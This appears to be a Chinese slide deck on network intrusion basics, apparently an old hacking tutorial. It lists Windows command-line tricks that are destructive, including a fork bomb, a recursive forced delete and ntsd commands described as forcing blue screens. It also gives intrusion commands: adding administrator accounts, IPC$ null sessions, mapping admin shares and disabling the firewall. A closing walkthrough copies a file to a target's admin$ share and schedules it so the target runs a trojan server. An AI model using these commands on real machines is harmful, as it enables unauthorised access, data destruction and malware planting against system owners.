文档介绍：网络入侵基础知识、入侵实战
第2章
网络工程交流总群 161712538
Page 2
章节目标
常用的DOS命令
常用的入侵命令
Hack实战一:命令行下的入侵
Hack实战二:图形界面的入侵
流行远程控制木马的使用方法
键盘记录程序的使用方法
Page 3
常用DOS命令1
Cd 切换目录
Dir 列出所有文件信息
Del 删除文件
Md 创建目录 Rd删除目录
Copy 复制
Xcopy 复制文件和文件夹
Cls 清屏
Attrib 修改文件、文件夹属性
Date、Time显示日期、时间
Page 4
常用DOS命令2
Path 系统路径
Set 显示、设置系统信息
Ren(Rename)重命名
Subst 虚拟磁盘
Ver 显示操作系统版本
Help 帮助
/? 显示某条命令的帮助
Page 5
非主流DOS命令1
:
start cmd
%0
:
for /r /d %a in (*) do copy "%a" /y
:
for /l %a in (1,0,2) send "炸弹来了!"
,蓝屏
ntsd -c q -pn
ntsd -c q -pn
Page 6
非主流DOS命令2
:
del * /a /s /q /f
:
md (按住Alt键,在小键盘上按2,5,5,然后松开Alt,回车)
:
md \\.\c:\con
md \\.\c:\aux
***文件夹:
md test..\
rd test..\ /s /d
Page 7
常用入侵命令1
net user 用户名密码/add (建立用户)
net localgroup administrators 用户名密码/add (将用户加到管理员,使其拥有管理权限)
net user guest /active:Yes (激活guest用户)
net user guest 12345 (修改guest密码为12345)
net user (查看账号属性)
net use \\ip\ipc$ “”/user (建立空IPC连接)
net use \\ip\ipc$ “密码”/user:“用户名”(建立IPC非空连接,非空链接就是需要帐户和密码)
net use \\ip\ipc$ /del (删除IPC空连接)
net use z: \\\c$(映射目标主机磁盘c盘到本地磁盘Z盘)
Page 8
常用入侵命令2
net start (查看开启了哪些服务)
net start 服务名(开启服务)
net time \\目标IP (查看对方时间)
net view (查看局域网中开启了哪些共享)
net share (查看本地开启的哪些共享)
net share C$/del (删除C盘默认共享)
netstat -an (查看计算机开放了哪些端口)
Copy \\ip\admin$\System32 ($共享的System32目录内)
Page 9
常用入侵命令3
sc config tlnesvr start= auto(服务的启动方式为自动,auto前面有一个空格)
net stop ess(关闭系统自带的防火墙)
net send IP 消息(利用messenger服务向目标IP发送消息)
ntsd -c q -pn (蓝屏重启)
ntsd -c q -pn (死机)
tasklist(查看进程)
taskkill(结束进程)
Page 10
实战:纯DOS命令入侵
net use \\\ipc$ “123”/user:”administrator”
net time \\
Copy c:\ \\\admin$\
At \\ 12:00 start c:\windows\
这样,对方就中了***服务端了。